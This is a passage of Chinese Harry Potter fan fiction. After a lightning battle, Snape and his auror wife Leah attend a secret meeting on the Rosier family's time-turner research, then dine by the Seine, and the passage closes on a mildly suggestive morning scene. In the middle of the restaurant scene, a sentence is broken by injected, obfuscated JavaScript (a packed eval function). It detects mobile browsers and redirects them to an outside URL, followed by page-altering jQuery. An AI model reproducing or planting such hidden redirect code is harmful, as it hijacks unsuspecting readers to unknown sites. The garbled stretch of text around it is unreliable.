vires。”他们的衣袍发丝在魔法气息中飞舞散开,静电凭空积聚。 千里之外的云层纷沓而至,有蓝紫色的光痕不停闪现,敲打着云幕。随之急剧形成的庞然飓风涌动着卷席了这方土地,高强风压推开一部分狰狞变动的烟雾。 “Fulmen Magnum Fulgura(巨雷落下)!” “Fulmen Magnum Fulgura!”这一声,是从灵魂深处冲出的呐喊,耗尽了她全身的力气。 咒语完成的刹那间,环绕在他们身边的银环蓦地扩大、盘旋上升,消失在云的底下。似是某种回应,很远的天顶传来低沉如涛的怒号,雷鸣由远及近,越过山岭云海。 下几乎同一时刻,天地大亮——一道如神谕般光耀溢彩的白割破长空,粗犷的闪电从天而降,硬生生地撕开久久盘踞头顶的黑影沉云—— 斯内普极快转过身,伸手捂在身边人的耳边,将她死死摁入自己的怀抱。她只为他强硬的动作怔愣住很短的片刻,就读懂他的意图,于是感激而安心地埋在他的胸前。 “轰隆——!” 巨响,这是真正的雷霆万钧。天地仿佛都被劈裂开,直击地面的落雷将黑夜撕扯成白昼。大地在猛烈摇晃,塔尖震碎,拱券坍塌,世界好像就要崩坏殆尽。 他以后背抵住门柱,在不能息止的余震中维持二人的重心。 时间至少因雷鸣停止了有半分钟,而后是静默,耳鸣,两人的心跳,交错的呼吸,猎猎树摇风响,沸腾人声夹杂痛楚的尖叫。 等听力缓慢恢复,斯内普才慢慢松开臂弯,蕾雅越过他的肩线探头,望见庭院中大片影霾都被雷光击碎了。地面横着数具不知死活的黑巫师躯体。保护宴会厅的光弧也暗淡一半,许许多多傲罗和高年级学生都跑了出来,围在庭院周围。 战斗当然还未结束。 剩余的黑影虽然都散落在地,却依然在顽强蠕动,就像是从死亡中侥幸逃生的孤魂。忽而,高温骤起,大片幽黑的厉火在同伴的尸体上喷薄而出,准备卷土重来—— “傲罗们!学生们!” 斯塔克洛夫被扩音咒放大数倍的声音响彻全场,“魔杖向下,直入地面!跟我念——” “Finite(万咒皆终)!” “万咒皆终!” “万咒皆终!” “万咒皆终!” “万咒皆终!” 灰白魔杖与玄黑魔杖齐齐触地,她和他一同喊道: “万咒皆终!” 104.铁塔 卢浮宫与布斯巴顿的修复工程,以及对郊外那座罗齐尔庄园的查封行动,持续了将近一周。尽管对方临时销毁了大量证据,但搜刮出的东西依旧令人背脊发凉,其中涉及的黑魔法相关物品还是多到无法想象。 以至于,蕾雅在最开始的三四日,本能地对食物感到反胃,终于在被斯内普灌下更多难吃的体力魔药,她才勉强振作,算是不会为在这里看到的任何东西觉得震惊了。 且不说庄园中多间密室、地牢与实验室,傲罗们还发现了大量早已失传的古代咒文、炼金术手札、珍稀物种胚胎、药剂样本,以及布满诡异符号的魔法阵、祭坛、活//体改造痕迹与黑魔法创造日志。甚至还包括大批在现世早被禁刊的麻瓜书籍,内容涉及心理、战争、医学、时空、伦理等领域边缘的突破研究。 这背后最大的负责人,正是德鲁埃拉·罗齐尔·布莱克。她在罗齐尔家族因格林德沃大战和第一次巫师战争几近覆灭后,就暗中掌管了一切。被发现时,她的遗体早就安好地躺入西格纳斯·布莱克三世的坟墓里。这还是西里斯·布莱克和纳西莎·马尔福前往发现的。 搜索还覆盖到罗齐尔家族在古灵阁和法国魔法银行的金库。两国傲罗从少数未能及时撤走的物品里,找到了不少十年前的研究手卷,其中大多与时间转换器改造相关。也大概是因为数量实在庞大,来不及悉数毁灭吧。 沿着这个脉络,和被罗齐尔家族安插在法国魔法部十多年的莱昂·德拉克鲁瓦,他们连带成功追捕并捣毁到潜伏在欧洲大陆数十年的黑巫师势力。 这桩大案几乎占据了整整一周的头条。尤其关于那场被麻瓜媒体称作“百年一遇惊雷”的落雷魔法,以及之后不得不向整个魔法界公开关系的那两人。 “未来的魔法大师?——新晋傲罗蕾雅·莱恩哈特·斯内普,英国魔法部神秘司副司长之女、霍格沃茨校长之妻。据霍格沃茨校长西弗勒斯·莱恩哈特·斯内普亲口所述,成功再现古代唤雷魔法的关键,正是这位傲罗天生异常强大的魔力。英国魔法部傲罗主任米利森特·斯威克也特别指出,虽然年轻,但她是一位极其出色的傲罗,曾在第二次巫师大战中领导邓布利多军……” 报道是这么写的,还提到不久后将向这位傲罗颁发一级梅林勋章与法国英勇勋章。 至于底下关于两人年龄差距和师生关系的更多讨论和小道消息,他们并不打算细看。也幸好,两国魔法部繁重的收尾事宜,以最直接的姿态将这些无谓的舆论冲淡处理了。 蕾雅瞥了一眼腕表,离开东侧的走廊,跑上二楼,找到忙着搬空衣柜的哈利。他们与其余还在现场善后的同伴打过招呼,便幻影移形前往弗斯腾伯格广场。 穿过人行步道,他们径直走到广场中间的几棵高树之间,背靠一座青铜雕像。身形隐去的须臾,地面忽然窜起一圈树根,形成仿若鸟笼的升降梯将他们包围,载着两人直下地底。 黑暗褪去后最先映入眼帘的是新艺术风格的法国魔法部大厅。圆形拱顶上绣满纷繁的星座图案,温润的荧蓝光束透过细薄的玻璃片洒落,又被如翠绿浅澄的地砖漫射上来,嵌满他们的衣袍。 前台接待员向两位执勤的傲罗露出一个礼貌的微笑,目送他们拐入右侧长廊。他们绕过两个正缓慢推车运货的老人,快步前往预定的会议室。 推开门时,两国魔法部长、傲罗主任们、三所学校的校长都已经到场了。雷格纳·莱恩哈特,作为英国神秘事务司代表,坐在沙克尔部长与斯内普校长之间。除此之外,长桌尽头端坐着一位看上去比阿不思·邓布利多还要年迈的老巫师。 他瘦削佝偻,皮肤苍白到近乎病态的透明,但深陷的眼窝中却有一双炯炯有神的琥珀色眸仁,它们正稍稍转到对两位年轻傲罗的地方,柔和地眯了起来。 “终于见到你们了,阿不思口中的预言男孩,”他愉快友好地摸了摸下巴,“还有,天赋异禀的傲罗小姐。” “您好,能见到您是我们的荣幸。”蕾雅礼貌地行礼,同时对看着自己和哈利的父亲点头致意。 法国魔法部的终身顾问,传奇炼金术士——尼可·勒梅。无论是蕾雅还是从小便久仰其名的哈利,都没想到会在这样一场会议中亲眼看到隐居的他。 与会者到齐,一场冗长至极的会议随即开始。 会议首先报告了死伤统计,包括贾斯廷·芬列里、莫尔·诺克斯、埃文斯·威尔森等在内的十几名两国傲罗。然后,会议转到对逮捕的黑巫师、食死徒的审讯情况,罗齐尔家族遗存的调查进度,最后进行到最核心的一项——对黑巫师们最终目的的推测。 但在正式切入机密议题前,近一半的参会巫师悄然起身,依此离开会议室。接下来,沙克尔部长作为主持,以庄重的语气开口:“接下来的会议内容,属于从未允许在神秘事务司缄默人之外公开的魔法界机密。” 他挥动魔杖,会议厅的灯光配合他凝重的语调随之暗淡下去:“除了本案相关负责人外,我特此以英国魔法部长身份,授权两位新晋傲罗破例参与会议。一位,是为我们获取关键口供证据的蕾雅·莱恩哈特;另一位,是曾亲手击败伏地魔,并经历过时间回溯的哈利·波特。各位——可有异议?” 会议室陷入短暂的沉寂,无人提出反对。而后,每位留在房内的巫师面前,都缓缓浮现出一张淡金色的羊皮纸。一份由特殊咒语处理过的保密誓言,一行清晰的文字:“自此刻起,若泄露会议内容,将以生命作价。” 蕾雅郑重地签下自己的名字,羽毛笔挪开放好,羊皮纸凭空消失了。 “好,”沙克尔清了清嗓子,重新摊开用作笔记的羊皮纸,目光摆到蕾雅这边,“傲罗莱恩哈特,请陈述你当时获得的证据。” 蕾雅在众人的关注下略显紧张地举起魔杖,抵住太阳穴,抽出一缕银白色的记忆丝线,送入会议桌中央,魔杖牵引着将之幻成迷蒙光影,是她从伊夫·罗齐尔脑中见到的画面。 “这是那天在卢浮宫,我突破了伊夫·罗齐尔大脑封闭术后看到的记忆。”她尽量让声音平缓,“和哈利、斯内普校长交叉确认后,确定这段记忆发生在伏地魔复活的那晚,也就是1994年三强争霸赛最后一场时。” 哈利接着简短叙述了那一晚的具体经过,提及他与伏地魔的魔杖对抗和塞德里克的死亡。 “当晚,伏地魔复活后,第一件事就是召唤了存活的食死徒。他后来与我决斗,只因为我们的魔杖是孪生杖芯,触发了闪回咒,我才得以侥幸活着回来。” 蕾雅继续说:“而在我的记忆中可以看到,场上剩余的食死徒并不多了。可以得知是哈利离开后一段时间。”她停了一下,不动声色地瞄到面无表情的斯内普,他没有像别人那样看她,“而伊夫·罗齐尔现身不久,斯内普校长也出现了——据他本人回忆,那是伏地魔复活约后两小时。” “在简短的记忆里,罗齐尔很明确提到了历时十三年的黑魔法研究,以及‘时间转换器’的突破。因此,我们推测,伏地魔在再次试图杀死哈利不成功后,就立即着手了这个计划的部署。”她让记忆定格在罗齐尔和伏地魔交谈的瞬间,随后看向斯威克主任。 斯威克点头,几份从庄园和金库获得的调查资料悬浮而起摊开:“正如各位所知,除了我们熟知的黑魔法、魂器、召集残余食死徒等活动,伏地魔也在暗中支撑罗齐尔家族进行着另一种研究,关于时间。我们在罗齐尔庄园中搜出的残缺书卷,都进一步佐证了他们已经触及前人未曾涉足的领域。” 她话语一顿,神情严肃:“可是,时间魔法并非轻易能突破的,实施条件更是极其苛刻。即使是伏地魔,也很难立刻寻到满足的条件。但真正让他下定决心完全执行这一项计划,我们相信,正是凤凰社护送哈利转移时的那场失败。斯内普校长,可否请您详细为我们说说?” “不错,”会议室里换成斯内普凛然低沉的话音,他没有像其他人那样使用魔杖摆出证据,只是抱着双臂,说道:“当时,他发现自己的魔杖无法击败波特,临时使用过几个食死徒的魔杖,结果都不尽人意。这进一步加剧了他的执念,伏地魔虽然无比自负,却也极度多疑,一直以来,他心里始终存在一个噩梦,那就是他根本无法战胜哈利·波特。” “他绑架了加里克·奥利凡德,得知了老魔杖的秘密。自那后,他竭力寻找那根魔杖,亲自前去了纽蒙迦德的监狱,找到了老魔杖曾经的一任主人,盖勒特·格林德沃。” 他顿了顿,阴冷的眸光掠过场上人:“邓布利多与我都认为,罗齐尔家族之所以知晓魔法学校可能藏有古代魔力遗产,除了他们原本就掌握的部分秘密,也可能与伏地魔在纽蒙迦德对格林德沃的逼问有关。据邓布利多所言,格林德沃曾为获取更强大的力量,暗中调查过相关资料。因此,在伏地魔死后,罗齐尔家族选择以最遥远、最不易引起欧洲本土注意的伊法魔尼作为试探。” “另一方面,他之所以没有在当年占领霍格沃茨的时候就实施这件事,我想,一是因为罗齐尔家族当时的能力尚不成熟。毕竟只有在伏地魔死后,才能更好团结流落在外的食死徒与黑巫师。二是,他害怕邓布利多,更恐惧邓布利多生前已在霍格沃茨布下防御魔法,担心这反而会导致他提前的失败。” “事实上,与伊法魔尼校长和马克西姆女士不同。无论是我,还是邓布利多,都不清楚这些事。霍格沃茨唯一保守着这个秘密的,是百年前的校长,菲尼亚斯·奈杰勒斯·布莱克。”斯内普低沉地说,黑眸没有一丁点情绪。 说到这里,整项计划的根基全貌已再不能更明晰。至少,在场能代表两国顶级实力的巫师们都能理清个大概,唯一留有争议的地方便是——时间,伏地魔不惜这样大费周章地准备的禁忌魔法,到底如何实施。 这也是斯内普接下来要说的话:“至于时间转换器,我想在座的各位都不该陌生。一直以来,霍格沃茨也奖励历年的模范学生适当使用,以掌握更多的知识。而伏地魔,我相信,当初他也可能接触过这类工具,并了解到其中原理。另外——” 黑发校长截断长句,冷淡而带些寒凉地瞥向屏息以待的哈利,然而却是沙克尔部长在这会儿开了口:“无论过去发生过什么,都不是我们今天讨论的焦点。并且,今天的事都只会存留在这座会议室里。” “好的,我会尽量说清楚。”被暗示到的哈利抬起头,深吸一口气,“三年级的时候,我的朋友,赫敏·格兰杰确实持有一个时间转换器。在当时被冤枉的西里斯·布莱克越狱、在霍格沃茨被抓捕后,邓布利多曾让我回到过去,去救西里斯和鹰头马身有翼兽巴克比克。我们遵循时间法则,不能让别人看见,回到了三小时以前。” 不顾巫师们哗然捂嘴的表情,他继而说:“当时,赫敏跟我说了一些不能改变历史的道理……呃,我其实是后来明白的,我们也无法真正‘改变’过去。我们回溯后所做的一切,都是原来就发生过的,只是在当时的我们还没有意识到。” 见到某些巫师脸上展现的疑惑,哈利努力寻找更易懂的说法:“我们在最开始为巴克比克送行时,其实没有亲眼看到它的死亡——尽管,我们当时以为它的确死了,因为我们听到了刀斧斩下的声音。可后来我们就知道,那声音是行//刑人劈木的声响,‘未来的我们’早就放走了它。” 哈利无意识地抓了抓衣襟,觉得这段话虽然是说出口了,但怎么听都还是复杂到让人难以理解。 “这就是时间转换器的限制。” 幸好,神秘司副司长在这时抬了抬手,顺着哈利的例子说了下去:“作为缄默人,对于这场会议,恕不能回答更多相关问题,但我会进行最基本的解说。”他说着,在斯威克清空的位置上以魔咒划出一条长长的亮橘色直线,以作讲解,“时间,看似可以回溯,但在我们有限的研究认知中发现,时间和预言本就有既定的路径与法则。就像这条直线,它的过去、现在、未来,皆是已定。” “而使用时间转换器,能安全回去的时间最多只有五个小时,也无法真正改变过去。”他平稳地说道。(1) “那么,现在,我们来看哈利的例子。当他使用时间转换器,在时间线上倒回,只意味着——”他在时间线上靠前的位置圈了一个小圆,写下【Harry 1】,而后,在更远的地方圈了一个小圆,写下【Harry 2】。 “最开始的哈利,我们暂时称他为1号哈利,处在正常时间线上。他没有看见巴克比克的死亡,只听见了声音。”他在【Harry 1】的对侧画了一只飞走的小兽:“直到稍晚,2号哈利倒退回来,才得知是自己放走了巴克比克。” 随后,他把【Harry 2】移到飞走的小兽那边。 “看起来或许是2号哈利改变了历史,但实际上,这件事在1号哈利的时间线就发生了。也就是说,2号哈利是按照‘既定的安排’救下巴克比克,同时认识到过去。这种……我们一般称呼它为‘自洽的时间旅行’:未来并不改变过去,只是揭示它。” “也因此,霍格沃茨允许学生在严格监管下使用时间转换器去学习更多课程。他们只能‘见证过去’,而不能‘更改过去’。至于其中涉及的更详尽的根源法则,不是我今天能说的。”见有人还是面露恐惧,雷格纳放缓话速,换一种方式解释:“与时间相关的魔法从来都不是稳定的。严重违背时间法则,不但违反巫师法律,更会造成灾难性的后果。” “在英国魔法部时间厅被摧毁前,每一枚由神秘司发放的时间转换器,都被施加了最高级别的保护魔咒——一旦有人试图脱离历史轨迹,时间会被强行重置。而试图改变时间的人,轻则精神错乱,重则,会将自我扼杀。”(2) 会议室死寂般的静默。 蕾雅呆呆地凝望那条时间线,惊愕到宛如有几堵回声不绝的围墙那样矗在心里,嗡嗡作响。她从来没有想过,原来父亲这些年来研究的,竟然是这样厚重的秘密。 哈利就更不要说了,他出神地盯着图像,迟来地认识到——幸亏当年有赫敏阻止了想要打破历史的他。 “所以……罗齐尔所说的‘突破限制’到底是意味着……”马克西姆女士难以置信地盯着雷格纳,双手紧握按在被涂画得乱七八糟的羊皮纸上,没有犹豫地脱口问:“改变过去?还是……回到更久的从前?” “都有可能。”雷格纳暂时按下魔杖,回答:“根据我们从罗齐尔家族手稿中整理的信息,他们确实摸索出一种能融合古代魔法的方式。不仅可能穿越得更远,还可能突破现有时间转换器的限制。”他停顿了一下,压低声:“他们或许试图让伏地魔在1981年就不曾失败。” “埃文·罗齐尔早在被阿拉斯托·穆迪追捕前,就已投入相关研究。”斯内普冷冰冰补充一句。 他的话落下,会议室里的低温风暴更加肆虐了。在场的人都不禁为此抽一口凉气,不敢想象罗齐尔家族成功的后果。这意味着近二十年来所有人为对抗伏地魔所做出的努力,皆会灰飞烟灭。 “不过,他们可能忽略了另一件事。”雷格纳再度挪了挪魔杖,清除先前的图示,重新划出一条明亮的橘色直线。他在其上画出两个标记:【1981】和 【1999】。 “他们以为,只要回到1981年,改写那晚波特一家被杀的结局,就能逆转伏地魔的失败。”雷格纳将【1981】的标记高亮,又从【1999】画出一道弧线连接过去,留下一个小小的箭头,“但事实上,一旦做出原始历史中未曾发生的‘更改’,就不再会是‘自洽的时间旅行’,而是‘创造’了一个新的时间分支,这个分支会按照未知的历史发展下去。” 雷格纳在【1981】的圈外拉出一道蓝色的虚光,标上【1981 if】“换句话说,伏地魔确实可能在那个分支中逃过因为哈利导致的死亡。但他也可能遭遇其他敌人、以另一种方式失败。我们把这种打破既定历史、主动撕裂时间线的分歧点,称作——‘时间奇点’。” “从此刻起,原有的时间线或许仍在,但对于那些进入奇点的人来说,旧的时间线就不可逆、未来的时间线也不可知。” 他干脆地抹掉原来的亮橘线,并在【1981 if】的起点延展衍生出更多的绿色【1981 if2】、紫色【1981 if3】、红色【1981 if4】的细线分支,非常直观易懂。 “自古以来,历史不可轻易更改。” 在巫师们都陷入沉思之际,尼克·勒梅静静地端详着头顶斑斓的弧线,如低语般道:“至少对于个体而言,所有不对时间抱有敬畏的尝试,最终都会被时间吞没。他们会迷失在时间里,甚至被时间抛弃存在的本身。” …… 快要离开法国魔法部的时刻,蕾雅的大脑还是恍恍惚惚的,感到一阵被“时间”、“罗齐尔”、“伏地魔”、“历史”支配的头疼。 她靠在一个安静的角落,与和沙克尔部长一同返回英国的父亲告别。见到他们安全地离开法国魔法部,算是下了班的她,就被也算是暂时“下了班”的斯内普牵住手,带离交通传送大厅。 他牵着木然的她向外走,但还没走到鸟笼升降梯附近,就低声问道:“还好吗?” “很好呀。”从他手心传来清晰的温暖,这一刻,数月以来紧绷的神经仿佛都被彻底松开了。她回过神,侧头对男人勉强挤出一个笑容,回捏了下他的大手,“可能是得知一些无法改变的界线,导致现在头有点重。” 既定的历史,既定的时间,既定的法则。 那么,她不由地想,她和斯内普是不是也是“既定”要相爱的吗? 所以父亲才会那样坦然地默许他们的关系? 那么,哈利是“既定”会击败伏地魔?而—— 贾斯廷、莫尔、埃文斯,是否也,“既定”地要—— 她悄悄看了下身旁的男人,斯内普似乎不太为这些事惊讶。 是因为曾经研究黑魔法的时候也涉及过这一方面的内容吗?她不想再往下想了。 “好了,你明白我们不能再谈论那些事,不是吗?”斯内普比平时还要轻柔不少的语调打断了她纷飞的思绪,他停下脚步,对她说:“去吃晚餐吧。” “你现在不用回布斯巴顿吗?”她有些讶异地对上他的眼神。 “本来就跟隆巴顿说过今天会晚。”斯内普轻描淡写地回答,飞快地扫视一下她身上的傲罗工作套装,说:“把衣服换了,转换心情。” 目见斯内普也轻点魔杖换上麻瓜衣服,蕾雅反应过来,顺从地给自己穿上一套便装。棕色毛呢大衣,是与他黑色风衣匹配的款式,底下是修身的黑色连衣裙和粗跟短靴。 “那……我们吃什么好呢?”她轻声问他。 他按在魔杖的手指动了动,变出一条温软的围巾,绕在她脖颈前,才再次牵住她,少有地提议道:“去河边看看?” “嗯,好。” 天色已暗,巴黎十二月的夜晚是冷的。 从步出魔法部起,他就改为环搂着她的腰,一刻没有放开。 塞纳河畔,沿岸皆是酒馆餐厅的街道通明,温黄的灯光染透了脚下的石板。 他们选了一家临街的小餐馆,外墙漆着好看的淡橘色,一方不大的遮阳棚挑出街面,也是同色调的橘白相间,檐下挂满看热闹的白炽灯泡。尽管它们辉映迷人,这对夫妻还是没有选择露天的位置,而是恰好等到临窗的一张小桌。 斯内普踱到她的身后,替她拉开座椅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15205486|143249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。她坐下,眼角余光就瞥见窗外倒映着埃菲尔铁塔亮光的河水。 “谢谢。啊——”她对着美景眨了眨眼,一边解下围巾与外套,被男人顺带拿走放好,又再接过他递来的菜单。 菜式不算很多,他们点了几样经典的麻瓜法式菜肴。 焗蜗牛和半熟鹅肝无比可口,油封鸭腿特别酥脆。只是,勃艮第红酒的度数似乎有点高,让她有些由于眩晕而难过。 “感觉好久没有这样了。” 饭后,她挽着他的手臂走出餐馆,两个人回到河边大道,一路顺着塞纳河往前散步。 塞纳河上的天空无云,被埃菲尔铁塔的光灿映得透亮,天边泛着的些许明黄,又像是被路灯晕渲的。氤氲潮湿的河风拂面,汽车疾驰而过,跑向铁塔的游人从他们的身边擦开,几个流浪的歌手在街头撩拨着吉他弦,唱着哀伤又动人的法语小调。 “日子还很长。”他听见几个单调的音符,踩踏过林荫道浓黑的树影,配合妻子放慢的步速。 “是啊,日子还很长……”蕾雅淡淡重复一句。 斯内普别过脸,想说点什么,喉咙却忽而一阵哽塞。 不时从树梢筛下的暖光一晃一晃吻在她的侧脸,他看着酒精在她刚刚痊愈的脸上一点点散开,从颊边漫到她的耳根,如霓虹灯色般迷离暧昧的绯红。她美得不可思议,又柔软到让他心悸。 那些与她有关的回忆忽然在心头涌了出来,像是头顶的微光坠入河面,飘开圈圈涟漪。他莫名地强烈渴望就这样跟她一起,往前走,往前走。 不去想过往,不去想未来,不去想命运,不去想时间。 日子还会很长,他根本不想在乎什么可笑的目的地。 他拢住她挽着他的手,将她的手指牢牢扣进自己的,带着对她全部的爱意,一起藏进自己风衣的口袋。 不久,他们停在正对埃菲尔铁塔的大桥一侧。和无数过路的旅人一样,她轻轻跃上观景台,斜坐在河畔石护栏上。冷风毫不留情地吹开她的头发,她把没那么红的脸埋进围巾,偏头去看那矗立在巴黎午夜中灯火辉煌的铁塔。 他紧靠她,一手搭在她身侧的护栏上,一手扶着她的后腰,将她圈进他所能及的安全范围里,更想以此为她抵挡一些从河面低拂而来的寒风。 “会冷吗?”他问,没有去看如镶满鎏金的巨塔——他在她的眼中看到了,她的绿眸跟此时的塞纳河一样沉静而流转,倒映着铁塔熠熠闪耀的辉芒。 “不冷的。这里好浪漫,真美。”但是,她的瞳眸倏地黯淡下去,显得落寞:“只是……” “只是你从会议结束就一直心不在焉。”他直接指出,指腹触碰她滚烫又冰凉的面庞,轻轻地说:“还在想那些会议内容?还是在自责神锋无影伤到了汉密尔顿?” “你怎么……”她回头,远眺的视线转而落在男人那张因敏锐洞察到她情绪而变得沉郁的脸。 “你不是唯一一个对黑巫师用了摄神取念的人。”斯内普故作无情地告诉她,“你这几天忙,所以我没有告诉你,我被叫去魔法部多少次。” “是这样啊……”她低低地说。 “所以,不打算告诉我吗?”他的指尖停在她的唇边,凝视着她低垂的眼睫片刻,耐心引导着她:“嗯?我假设你还记得我们的婚姻誓言?” ——我将与你分享每一份喜悦和悲伤。 “并不是不告诉你,西弗。”她的声音更低了,“我只是……还没想好怎么说,也不想让这些无谓的事影响你。” 有风贴着桥墩扑在她的身后,把她的头发吹得零散,他再往前一步,伸出手将爱人环入怀抱,手掌轻拍了拍她的后脑勺,“蕾雅,看着我。” 蕾雅抬眸,便察觉到男人眼里的坚定。那双注视自己的沉黑眼眸静谧如海,又如水中温柔等待的凉月,浸没了她,让她的眼角不自觉地沾满湿润的水汽。 在泪水即将滚出的一瞬,她再次偏转目光,顺势把脸埋进他带着体温的衣物,“我只是……” 明明真相大白,事情都尘埃落定。 明明他和她都还在这里,明明眼前一切都这么美丽——美丽到仿若不是真的。 斯内普不再催促,只安静地整理着她被风吹乱的发,将它们从围巾中抽出,轻轻拨到另一侧,手掌贴在她后颈。 他当然早就看穿她在想什么。他见过太多次这种神伤,曾在别人的身上,也在自己身上。 那是幸存者才会有的眼神,是目睹过那些事发生过的人,在神经终于得以松散时候会有的感情。延迟到来的疼痛牢笼比承担当下更无处安放、无法逃出。这里没有能解脱的钥匙,只有咬牙忍过去的意志,与短暂同行的陪伴。 他明白,她不再是曾经只懂得欢呼和享受胜利的学生了。如今,她必须学会直面世界的残酷,如果她今后还要作为一名傲罗战斗下去的话。那么,他只希望,他能给她、能陪她的再多一点,但他最终依然很清楚,她必须靠自己跨越这一段陡阶。 “哭出来。”很罕见地,他鼓励她放出情绪。 “我不想哭的……”她偏执地摇头,眼泪却因为男人这声指示不受控地倾泻出来。 “我只是觉得,明明,也不是……第一次……为什么……?……贾斯廷,莫尔,埃文斯,还有其他人……为什么?”她的哽咽变得断断续续,让风吹得听不见了。 她的啜泣令他那颗本已麻木的心隐隐作痛。 是啊,这个问题,他曾在无望的夜里问过多少次?却从来没有答案。 他叹了一口气,尽量和缓地对她说:“如果你还记得,两年前我就告诉过你原因。虽然那也不过是些冠冕堂皇的话罢了。” “我记得的,我没有忘。”她依然在摇头,仿佛在否定整个世界,“我只是想知道……索命咒……为什么会有那样的咒语?为什么要创造出那样的咒语?——我不,理解。” “这个咒语诞生在炼金术盛行的年代,或许最初可能只是为了让病人能无痛离世。”斯内普轻轻抚着她颈侧的肌肤,似是某种安慰,“又或者,就像麻瓜世界里的武器与枪支,只是为了防卫,尤其是猎巫行动盛行以后。” “可它最终脱离了本意。”她并不是不懂这些道理,这样的例子无论是在麻瓜世界还是巫师世界,都太多太多了。 “正是,而当它被施展得足够多,人们也就不再思考它究竟意味着什么。”斯内普翻找出接她的手帕,以之抹去她不断的眼泪,“无论是巫师还是麻瓜,对于这些强大的东西,他们不会恐惧,直到真正理解它,可他们不会理解,直到亲手使用或被它击败。”(3) 这样的解释,对于斯内普自身经历,对于时间魔法或许也同样适用。 可越是理解,越是会无力,就像今日得知时间是一种既定那样感到徒劳:兵器枪火、黑魔法、时间魔法、古代魔法,历史的洪流滚滚千年,诞生的魔咒和武器已然无穷无尽,可是,为什么,唯独这一种魔咒完全无法抵御? 如果伏地魔倾尽全力,就能找到倒流时间的办法。那么,她怎么就不可以像他那样以毕生精力去寻得对抗索命咒的措施呢? “……就没有什么方法了吗?”她的话里尽是倔强的不甘,“这么多年过去了,哪怕能争取到一瞬的办法?就算是武器的发明,麻瓜们也总是能找到更强的防御手段啊……” 她似乎全然没意识到自己在提出一个多么大胆、大胆到近乎天真的想法。 然而—— 斯内普的呼吸在这一刻猛地停滞。他本来只是随着她的话陷入沉思,却像是突然被那日的骤雷击中。他的瞳仁不可自抑地震颤,全身的血液都为此倒流开去。 这是一种久违的、几乎被遗忘了的感觉,由可能性带来的快意。 “或许……”他快速折好手帕,抿起嘴角:“蕾雅,好好回想一下。历史上确有一个人,身中索命咒却存活了下来——我是指,除了那个大难不死男孩的特例以外。” “除了哈利以外存活下来的人?”翠绿的眼眸为他的话晃颤一分,倏然清亮起来。 “是啊!邓布利多先生!”她惊叹出声,差点从护栏上滑下来,他只好眼疾手快地扶稳她。但她丝毫没有在意自身的危险和他的动作,只自顾自地沉吟道:“虽然他是因为身中诅咒,才反用诅咒的力量抵御索命咒……但是如果,我是说如果!按照这个思路想下去!”她边兴奋地思考着,边直直地望着男人,仿佛希望能从他面上的细枝末节找到这些问题的确切答案。 “嗯。”才平复内心悸动的斯内普则认真而肯定地回看她,以指背擦干她眼底残余的泪渍:“回去以后,我会着手进行一些尝试。” “我也想!请让我也一起,好吗?”她迫不及待地说,又像是想到什么,假装镇定地自言自语道:“还是说,你想要德拉科帮忙?……嗯,那也不错的。” “想什么呢,”斯内普没忍住低笑了笑,用手腕托起她的脸,拇指稍稍揉搓她的下唇,“这种不属于教学范畴的事,当然只能是我的妻子帮我。” 她终于绽开释然的浅笑,被泪珠沁润的明眸落尽了满空的碎银灯花。 感到她缠在他腰间的手臂收紧,斯内普微微俯身,以颀长的身影庇护了她。他吻她,回予她可以在这薄凉世间存活的暖意。 于是,他们就在象征浪漫的铁塔底下激烈地拥吻,让那些滚烫的、又甜又苦的思忧像深流静水那般没过彼此。 死者安息,生者却不得不继续走下去——道路仍旧通往未知,未竟的余火会一步步追随他们,直到长夜将明,他一次次将她拥进更深的温柔和占有之中。 很快,她再无力哭泣和思考了,山一样的疲惫倒塌在她的额前,终于能在他怀中求得一晚酣眠。 105.蜘蛛尾巷 天是不知道什么时候亮的。 他也不知道是什么时候醒的,更不知道,就这样一动不动看着她多久。 他也没想到,他们昨晚会把事情弄得那么,狼狈。 视线终于从她酣睡的面庞移开,落到反射着晨光的门板,就想起它昨晚被用力关上,她背抵在那里发出的那声闷响。两人衣服从门边一直散延到床边,身下的床罩也是乱的,一个枕头滚到了床尾,被子……只幸好没有因她失控的动作被扯碎。 诚然,一名出色傲罗的必备品质之一,还有力气。想到这里,他又想起她用力地哭,用力地拥抱他、牢牢掌控他的力度,想起——她是怎么一次次用力地、带着颤声叫唤他名字的。 他抿了抿唇,目光潜游回到她这边。她依然睡得很沉,大抵是累透了。 探出的手指轻拨开她额前的发丝,露出一张被血色濡润的脸,与她锁骨间未散的红潮相映的一致,正随着她的呼吸一波波拂着岸线。 他一手顺着她的碎发,凑近些,嗅到她发丝间有跟自己身上相同的气味。又等了十来秒,他才俯在她耳边低声道:“蕾雅,该起来了。” 蕾雅只细微地哼了一声,在模糊的意识里再度把头埋入他的前胸。 “你还要回巴黎。”男人扶起她的脑袋,薄唇轻触她额头,“起来吧。” 她本能地扭开脸,试图躲开干扰她睡眠的东西,却又被男人强硬地掰回来。她不得不掀开一边的眼皮,看了眼墙上的壁钟,咕哝道:“唔……还有时间嘛……”说完,心安理得地抱紧他,又闭上了眼。 “快起来,”男人不依不饶,吻落得更凶狠,从额头移到嘴唇,还夹杂着低沉的提醒:“你自己昨晚说要留时间洗澡的。”话音停住,他浅浅地咬了她一下,手也顺着被子的起伏往下探去。 “ ……西弗勒斯!”她猛地按住他不安分的手腕,顿时醒了大半,像昨夜那样因呼吸困难而睁开眼,抱怨地嘟囔:“好嘛……”她推开被子坐起来。 “唔……”但腿刚移到床边,她就皱起眉,轻轻脱口:“疼……” “哪里?”他也坐直身,垂下眼看向她的后腰,那里有一块淡色的淤青,是昨天不小心磕到门把手上造成的。他有些心疼,将手掌紧贴上去揉了揉,问道:“是这里吗?等下敷点药水。” “不是那里呀……”她更小声哼道,脸颊上的红云比门边挂着的格兰芬多色围巾还深。她叹了口气,扭头若有暗示地瞄了他一眼,撑着地慢慢下床,脚踩到地面的时分随即再度抽了一口气。 